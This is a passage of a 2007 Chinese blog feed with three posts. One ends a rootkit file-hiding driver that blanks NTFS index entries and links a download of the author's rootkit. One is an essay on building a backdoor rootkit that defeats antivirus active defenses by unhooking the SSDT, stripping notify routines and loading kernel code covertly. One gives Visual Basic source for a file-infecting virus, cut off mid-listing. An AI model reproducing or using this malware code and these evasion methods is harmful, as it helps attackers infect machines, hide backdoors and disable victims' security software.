i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset((PVOID)UserBuf, 0, 0x4);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;} else if(bIsNtfsIndex) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//DbgPrint("INDX...");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Index Entries<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;offset = ((PINDEX_HEADER)UserBuf)-&gt;IndexEntryOffset + 0x18;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;indexSize = BufLen - offset;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;currPosition = 0;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(currPosition &lt; indexSize &amp;&amp; currIndxEntry-&gt;Size &gt; 0 &amp;&amp; currIndxEntry-&gt;FileNameOffset &gt; 0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!_wcsnicmp(currIndxEntry-&gt;FileName, hideFile, 9))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset((PVOID)currIndxEntry-&gt;FileName, 0, 18);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(currPosition == 0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((PINDEX_HEADER)UserBuf)-&gt;IndexEntryOffset += currIndxEntry-&gt;Size;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;preIndxEntry-&gt;Size += currIndxEntry-&gt;Size;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;currPosition += currIndxEntry-&gt;Size;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;preIndxEntry = currIndxEntry;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry-&gt;Size);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br><br>&nbsp;&nbsp; 水平有限，欢迎大家与我交流。<br><br><br>参考资料：<br><br>[1] - 《NTFS Documentation》<br>[2] - Azy，《IceSword &amp; Rootkit Unhooker驱动简析》<br><br>---------<br><br>关于AK922(AzyKit)：我写的一个只实现文件隐藏的RK，可以bypass本文提到的所有ark。<br>Download @ <a href="http://www.wiiupload.net/sf/65b4e75ec4" target=_blank><u><font color=#0000ff>http://www.wiiupload.net/sf/65b4e75ec4</font></u></a> 
<img src ="http://www.cppblog.com/elva/aggbug/34018.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-10-12 11:58 <a href="http://www.cppblog.com/elva/archive/2007/10/12/34018.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>实用级反主动防御rootkit设计思路</title><link>http://www.cppblog.com/elva/archive/2007/10/12/34017.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Fri, 12 Oct 2007 03:57:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/10/12/34017.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/34017.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/10/12/34017.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/34017.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/34017.html</trackback:ping><description><![CDATA[实用级反主动防御rootkit设计思路<br><br>作者：白远方 (ID: baiyuanfan, baiyuanfan@163.com, baiyuanfan@hotmail.com)<br>June 18, 2007<br><br>关键字：rootkit，反主动防御，网络监控，ring0，mcafee8.5i，KIS6，ZoneAlarm Pro，实用级产品测试<br>目录：<br>反主动防御rootkit的产生背景及其必要性<br>反网络访问主动防御<br>反API钩子进程行为主动防御<br>反系统Notify进程行为主动防御<br>绕过监控进入ring0安装驱动<br>实用级反主动防御rootkit的通用性问题<br><br><br>反主动防御rootkit的产生背景及其必要性<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;当前随着新型木马，病毒，间谍软件对网络安全的威胁日益加重，传统的特征查杀型的安全产品和简单的封包过滤型防火墙已不能有效保护用户，因此各大安全公司纷纷推出自己的主动防御型安全产品，例如卡巴斯基kis6，mcafee8.5i，ZoneAlarm Pro等，这些产品应对未知的病毒木马都有很好的效果，若非针对性的作过设计的木马和rootkit，根本无法穿越其高级别防御。因此，反主动防御技术，作为矛和盾的另一方，自然被渗透者们提上日程；由于主动防御安全产品的迅速普及，为了不使后门木马被弹框报警，具有反主动防御能力的rootkit成为了一种必然选择。<br><br><br>反网络访问主动防御<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;几乎现在每个防火墙都具有应用程序访问网络限制功能。一个未知的程序反弹连接到外网，或者是在本地监听端口，基本上都会引起报警。而且对系统进程的行为也有了比较严格的审查，原先的注射代码到winlogon等系统进程，在向外反弹连接的方法，很多主动防御软件都会阻止了。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;很多防火墙的应用程序访问网络限制，都可以通过摘除tcpip.sys上面的过滤驱动，并还原tcpip.sys的Dispatch Routines来绕过。据称这是因为在ndis层次取得进程id不方便而导致的。但是如果在一个实用级的rootkit里应用此方法则是不智之举，因为存在部分防火墙，如ZoneAlarm，其ndis过滤层必须和tdi过滤层协同工作，才会放行网络连接。至于ndis层次的中间层驱动的摘除，和NDIS_OPEN_BLOCK的还原，则是一项不太可能完成的任务，因为无法从原始文件中读取的方法，获得NDIS_OPEN_BLOCK的原始值；即使能够成功恢复ndis钩子，也不能保证系统可以正常运行，很可能会出现各种不明症状。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;到现在为止，绕过应用程序访问网络限制最好的选择，还是那两个：简单的一个，注射代码到一个ie进程，用它反弹连接出来，访问外网；复杂的选择则是应用内核驱动，如ndis hook/添加新的ndis protocol，来实现端口复用，或者使用tdi client driver反弹连接。已经有很多木马和rootkit使用前者，因其简单易行，在实际开发中工程量小，出现问题的可能性也少得多，产品成熟的时间代价也小。但是目前很多的主动防御已经注意到这一点，并且在程序行为监控中严密防范了其他程序对ie的感染行为。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;如图，想要使用僵尸IE访问网络的木马被拦截<br><br><br>反API钩子进程行为主动防御<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;接下来是主动防御系统的很重要的一部分：进程行为监控。该部分主动防御软件一般通过两种解决方案来执行，一是API钩子，二是windows支持的notify routine。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;大量的主动防御安全软件，如KIS6，ZoneAlarm Pro，使用API钩子来监控进程的危险行为。如注射远程线程，启动傀儡IE，加载驱动，注册服务，修改敏感系统注册表键值等。但是作为一个rootkit，完全绕过这些操作，基本上是不可能的；于是摆放在面前的任务，就是如何击败这种主动防御。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;对于特定种类的监控，总是有特定的方法可以绕过。比如注射远程线程，如果常用的CreateRemoteThread被监控了，可以尝试采用Debug API， SetThreadContext的方法绕过，也可以尝试采用hook其ntdll!ZwYieldExecution等频繁调用的函数来装载自己的DLL模块。 注册表监控，我的朋友xyzreg曾经写过系列文章，提出了很多种方法，包括RegSaveKey, Hive编辑等方法绕过卡巴斯基的注册表监控，其Hive编辑的方法目前仍未能有任何主动防御系统拦截。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;但是从一个通用型，为实战设计的实用型rootkit来说，采用这些特定的技术并不是一个非常好的选择；因为这些技术可以保证对付一个主动防御软件，却不能保证通用，甚至通用性很差。而且针对每一个可能被主动防御拦截的行为，都采用一套特定的绕过技术，从工程代价上来讲，太过巨大，开发耗时，等其成熟更是不知道要多少时间来测试和更改。因此我们需要的一个相对涵盖范围广，能够解决绝大多数主动防御技术的解决方案。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;针对API钩子实现的进程行为监控，一个较好的通用解决方案就是卸载所有安全软件所安装的API钩子。为兼容性和稳定起见，几乎所有的安全软件在安装API钩子时都会选择hook SSDT表，例如KIS6，ZoneAlarm Pro。我们如果能够进入ring0，就可以使用一个驱动程序，读取系统文件ntoskrnl.exe/ntkrnlpa.exe/ntkrpamp.exe，从中提出我们所希望的SSDT表的原始函数地址，替换被安全软件hook的地址，用此方法可以通用性很好的解决绝大多数的API钩子实现的进程行为监控。不过此方法有一个前提，就是事先必须绕过监控进入ring0。关于如何实现此前提，请阅读第五部分，&#8220;绕过监控进入ring0安装驱动&#8221;。<br>&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;如图，ZoneAlarm Pro更改了大量的SSDT函数地址来监控程序行为。<br><br><br><br>反系统Notify进程行为主动防御<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;部分主动防御安全软件不仅仅是用API钩子，同时使用了微软提供的Notify Routine，来监视进程的行为。使用该技术的安全软件不是太多，但是也不至于少到一个实用级别rootkit可以忽略的程度。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;以下几个微软DDK函数，PsSetCreateProcessNotifyRoutine，PsSetCreateThreadNotifyRoutine，PsSetLoadImageNotifyRoutine，被用作支持主动防御软件监控新进程的建立，新线程的建立，和一个新的模块被加载。处理该种类型的防御不能简单的清空NotifyRoutine就完事，因为系统本身，还有一些第三方正常模块和驱动，可能添加和使用该链表。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;解决方案，一是可以先将使用了该技术的主动防御系统的驱动程序模块做一个列表出来，然后遍历这三条链表，找出地址指向这些驱动模块的项，再将这些项删除脱链。但是这需要对大量主动防御系统的研究和测试，并且通用型也不好。第二种方法，由于Notify Routine的监控力度要远弱于API钩子，因此在纯ring3将程序做一些小的改动，就可以越过这种类型的监控。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;另外还有几个SDK函数，可以提供对文件和注册表的更改的notify。不能排除也有部分主动防御软件使用了它们。例如国产的超级巡警(AST.exe)，使用了RegNotifyChangeKeyValue，做了对注册表敏感键值修改的事后警告提示。如果仅仅使用了API钩子清除技术，那么在此时就会被AST报警。和以上介绍的三个内核notify类似的也是，有不少正常的notify在被使用，不分青红皂白的全部卸载，会导致系统异常。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;因此可见，Notify类监控虽然使用的不多，但是其对付的难度和需要的工程量，比API监控还要大。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;如图，已经处理了API钩子监控的rootkit仍然被notify方式的AST报警。<br><br><br>绕过监控进入ring0安装驱动<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这部分是重中之重。由于几乎每个主动防御系统都会监控未知驱动的加载和试图进入ring0的举动， 而我们在第一，第二和第三部分绕过主动防御要做的处理，都必须需要ring0权限。因此监控进入ring0，是一个独立的话题，也是我们实现前三个部分需要的条件。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;直接添加注册表项，ZwLoadDriver安装驱动，是几乎要被任何主动防御系统报警。必须要采用一些隐蔽的或者是为人不知的方法。总结目前已经公布出来的进入ring0的办法，<br>有以下几种：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;感染文件，例如win32k.sys，添加自己的代码到里面，启动的时候就会被执行。这种方法的优点是简单易行，稳定度和兼容性很好。但是最大的缺点就是必须重新启动以后，才能进入ring0，这是一个产品级别的后门所不能容忍的。而且微软自己的系统文件保护容易绕过，mcafee和卡巴斯基的文件监控可就不是那么容易了。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;利用物理内存对象，来写入自己的代码到内核，并添加调用门来执行。这个是最早被人提出的不用驱动进入ring0的办法。因为出来的时间太长了，所以有以下一些问题：更新的操作系统内核不支持，如2003SP1；很多的主动防御系统会拦截，例如KIS6。所以这个办法也不理想。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;利用ZwSystemDebugControl。这个代码在国外有人放出来过，利用它写内存，挂钩NtVdmControl，进入ring0。此法缺陷在于老的windows2000不被支持，最新的windows2003sp1上也取消了这个函数的此能力。不过好处在于，这个方法用的人少，基本上没有主动防御会注意到它，并进行拦截。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;利用ZwSetSystemInformation的SystemLoadAndCallImage功能号加载一个模块进入ring0。这个方法提出来比较久了，但是因为用的人少，仍未被主动防御软件所重视。用得少的原因是，它不好用。它只能加载一个普通的模块到内核并且调用，却不是加载一个驱动，因此没有一个DriverObject。这导致了非常多的麻烦。因为要想使用这个办法，必须先用这个办法安装一个简单的内核模块，再用这个模块添加调用门等方式，执行代码清除主动防御的监视驱动安装的钩子，安装一个正常的驱动，才能最终完成任务。而且这个方法似乎对windows2003sp1以上的系统也无效。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;因此，要想有一个相对完美的进入ring0解决方案，最好是寻找别人不知道或者使用很少的方法，或者将上面的有缺陷的方法做一个综合，用多种方法通过判断情况来选择使用。我在这里有一个新的思路提供给大家，微软新公布了一部分文档，关于HotPatch的使用。HotPatch可以在执行中修改系统中存在的用户态公用dll的内容，甚至是修改内核模块的内容。具体代码和细节，在这里我不能多说。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;要想开发一个好的反主动防御rootkit，绕过监控进入ring0是必不可少的，然而这部分也是使用不成熟技术最多的，最容易出现严重问题的部分。作为一个负责任的实用级产品，一定要对这个部分作做详细的测试，来保证自己的产品不会在某些特殊的环境，比如64位CPU运行32位系统，多核处理器，HyperThread处理器上面，出现故障或者蓝屏。<br><br><br><br>实用级反主动防御rootkit的通用性问题<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;前文已述，本文的宗旨在于讨论一种实用级别rootkit开发的可行性。因此，工程量的大小，需要投入的人力，时间和金钱，也是我们需要考虑的内容。必须要考虑更好的兼容性通用性，和工程上的开发代价和稳定成熟周期不能无限大。因此，对于部分新技术，例如BiosRootkit，VirtualMachine-Rootkit，本文不做讨论，因为那些都属于如果要想做稳定通用，工程代价非常大，以至于他们只拥有技术上面的讨论价值，而不具备作为一个产品开发的可选解决方案的可能性。至少是目前来看是如此。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;每个主动防御软件的原理和构造都是不相同的，因此不可能指望有某一种方法，从工程上可以解决一个主动防御系统，就可以无需测试的，保证无误的解决其他系统。因为这个原因，开发一个成熟稳定的反主动防御rootkit，必然要在兼容各种主动防御的系统的通用性上面下大功夫。按照不同的主动防御系统，在程序里switch case，应该是非常必要的，尽管绝大多数反主动防御代码原理上可以通用。基本上，在测试程序通用型的时候，常用的主动防御软件，是每种都要安装一个并且仔细测试的。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;以下举例说明，几个常用主动防御系统各自需要注意的特点，这都是笔者在实际开发中遇到的比较典型的例子。<br><br>Mcafee8.5，该主动防御软件在最大化功能时会禁止在系统目录下创建可执行文件，光这一点就会让几乎全部rootkit安装失败，若非针对它做了设计。在这个系统下面，也不可能使用感染文件的方法来进入ring0。<br>KIS6，该系统会自动列举运行的隐藏进程，并且弹框警告。因此在这系统下，不太可能把自己的进程隐藏。而且它列举隐藏进程的手段很底层，很难绕过。<br>ZoneAlarm Pro，该系统下，如果一个其它的进程启动IE并且访问网络，安全报警仍然会以该进程本身访问网络为准执行，另外还会弹框警告，除非将自己的僵尸IE进程的父进程更改，或者不用IE来反弹连接。<br>国产的瑞星，总体来说这个系统的主动防御弱于国外产品，但是它特殊在于，会对IE作出非常严格的限制，默认不允许IE装载任何非系统的dll。因此在这个系统下基本不可能利用IE反弹。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;其他的特殊情况还有很多。作为一个成熟产品开发者，这些都是必须要考虑的。<br><br><br><br><br>感谢：VXK（郭宏硕）， xyzreg（张翼）。<br>附录：提供几个录像，对本文的内容做一个展示录像，Rootkit穿越各种流行的主动防御系统。
<img src ="http://www.cppblog.com/elva/aggbug/34017.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-10-12 11:57 <a href="http://www.cppblog.com/elva/archive/2007/10/12/34017.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>感染EXE</title><link>http://www.cppblog.com/elva/archive/2007/10/08/33760.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Mon, 08 Oct 2007 06:21:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/10/08/33760.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/33760.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/10/08/33760.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/33760.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/33760.html</trackback:ping><description><![CDATA[收集两篇感染exe的文章，有时间了把它写出来<br><br>VB：<br><br>
<p>Option&nbsp;Explicit<br>Private&nbsp;Victim&nbsp;As&nbsp;String&nbsp;'要感染的文件的名字<br>Private&nbsp;HostLen&nbsp;As&nbsp;Long&nbsp;'要感染的文件的大小<br>Private&nbsp;vbArray()&nbsp;As&nbsp;Byte&nbsp;'病毒的代码<br>Private&nbsp;hArray()&nbsp;As&nbsp;Byte&nbsp;'要感染的文件的代码<br>Private&nbsp;lenght&nbsp;As&nbsp;Long<br>Private&nbsp;MySize&nbsp;As&nbsp;Integer&nbsp;'病毒的大小</p>
<p>Private&nbsp;Declare&nbsp;Function&nbsp;OpenProcess&nbsp;Lib&nbsp;"kernel32"&nbsp;(ByVal&nbsp;dwDesiredAccess&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;bInheritHandle&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;dwProcessId&nbsp;As&nbsp;Long)&nbsp;As&nbsp;Long<br>Private&nbsp;Declare&nbsp;Function&nbsp;GetExitCodeProcess&nbsp;Lib&nbsp;"kernel32"&nbsp;(ByVal&nbsp;hProcess&nbsp;As&nbsp;Long,&nbsp;lpExitCode&nbsp;As&nbsp;Long)&nbsp;As&nbsp;Long<br>Private&nbsp;Declare&nbsp;Function&nbsp;CloseHandle&nbsp;Lib&nbsp;"kernel32"&nbsp;(ByVal&nbsp;hObject&nbsp;As&nbsp;Long)&nbsp;As&nbsp;Long<br>Private&nbsp;iResult&nbsp;As&nbsp;Long<br>Private&nbsp;hProg&nbsp;As&nbsp;Long<br>Private&nbsp;idProg&nbsp;As&nbsp;Long<br>Private&nbsp;iExit&nbsp;As&nbsp;Long<br>Const&nbsp;STILL_ACTIVE&nbsp;As&nbsp;Long&nbsp;=&nbsp;&amp;H103<br>Const&nbsp;PROCESS_ALL_ACCESS&nbsp;As&nbsp;Long&nbsp;=&nbsp;&amp;H1F0FFF</p>
<p>Private&nbsp;Sub&nbsp;form_Initialize()<br>Dim&nbsp;i&nbsp;As&nbsp;Long<br>On&nbsp;Error&nbsp;GoTo&nbsp;vbVerror&nbsp;'出错处理</p>
<p>'原理：将生成病毒文件的代码读出，粘在要被感染的文件的后面。<br>Open&nbsp;App.Path&nbsp;&amp;&nbsp;"\"&nbsp;&amp;&nbsp;App.EXEName&nbsp;&amp;&nbsp;".exe"&nbsp;For&nbsp;Binary&nbsp;Access&nbsp;Read&nbsp;_<br>As&nbsp;#1<br>ReDim&nbsp;MyArray(LOF(1)&nbsp;-&nbsp;1)<br>MySize&nbsp;=&nbsp;LOF(1)<br>ReDim&nbsp;vbArray(MySize)<br>Get&nbsp;#1,&nbsp;1,&nbsp;vbArray<br>Close&nbsp;#1<br>'这是在读自己的代码</p>
<p><br>Victim&nbsp;=&nbsp;Dir(App.Path&nbsp;&amp;&nbsp;"\"&nbsp;&amp;&nbsp;"*.EXE")&nbsp;'随便选一个文件（目前只是在病毒所在的目录下随机选一个，将来你可以修改，让它不断的循环搜索计算机上的所有文件。）<br>While&nbsp;Victim&nbsp;&lt;&gt;&nbsp;""</p>
<p>If&nbsp;format(Victim,&nbsp;"&gt;")&nbsp;&lt;&gt;&nbsp;format(App.EXEName&nbsp;&amp;&nbsp;".EXE",&nbsp;"&gt;")&nbsp;Then<br>Open&nbsp;App.Path&nbsp;&amp;&nbsp;"\"&nbsp;&amp;&nbsp;Victim&nbsp;For&nbsp;Binary&nbsp;Access&nbsp;Read&nbsp;As&nbsp;#1<br>ReDim&nbsp;hArray(LOF(1))<br>Get&nbsp;#1,&nbsp;1,&nbsp;hArray<br>Close&nbsp;#1<br>'读出病毒自身的代码</p>
<p><br>If&nbsp;hArray(&amp;H69)&nbsp;&lt;&gt;&nbsp;&amp;H4D&nbsp;Then</p>
<p>i&nbsp;=&nbsp;hArray(&amp;H3C)<br>If&nbsp;hArray(i)&nbsp;=&nbsp;&amp;H50&nbsp;Then<br>Open&nbsp;App.Path&nbsp;&amp;&nbsp;"\"&nbsp;&amp;&nbsp;Victim&nbsp;For&nbsp;Binary&nbsp;Access&nbsp;Write&nbsp;As&nbsp;#1<br>Put&nbsp;#1,&nbsp;,&nbsp;vbArray<br>Put&nbsp;#1,&nbsp;MySize,&nbsp;hArray<br>Close&nbsp;#1<br>End&nbsp;If&nbsp;'要保证被感染的不是空文件（不是圈套）<br>End&nbsp;If<br>End&nbsp;If<br>'读出准备被感染的文件的代码</p>
<p>Victim&nbsp;=&nbsp;Dir()&nbsp;'Next</p>
<p>Wend</p>
<p>'下面的工作是为了保证病毒不会重复感染一个文件，也不会自我感染。</p>
<p>Open&nbsp;App.Path&nbsp;&amp;&nbsp;"\"&nbsp;&amp;&nbsp;App.EXEName&nbsp;&amp;&nbsp;".exe"&nbsp;For&nbsp;Binary&nbsp;Access&nbsp;Read&nbsp;As&nbsp;#1<br>lenght&nbsp;=&nbsp;LOF(1)&nbsp;-&nbsp;MySize<br>If&nbsp;lenght&nbsp;&lt;&gt;&nbsp;0&nbsp;Then<br>ReDim&nbsp;vbArray(lenght&nbsp;-&nbsp;1)<br>Get&nbsp;#1,&nbsp;MySize,&nbsp;vbArray<br>Close&nbsp;#1</p>
<p>Open&nbsp;App.Path&nbsp;&amp;&nbsp;"\"&nbsp;&amp;&nbsp;App.EXEName&nbsp;&amp;&nbsp;".eve"&nbsp;For&nbsp;Binary&nbsp;Access&nbsp;Write&nbsp;As&nbsp;#1<br>Put&nbsp;#1,&nbsp;,&nbsp;vbArray<br>Close&nbsp;#1</p>
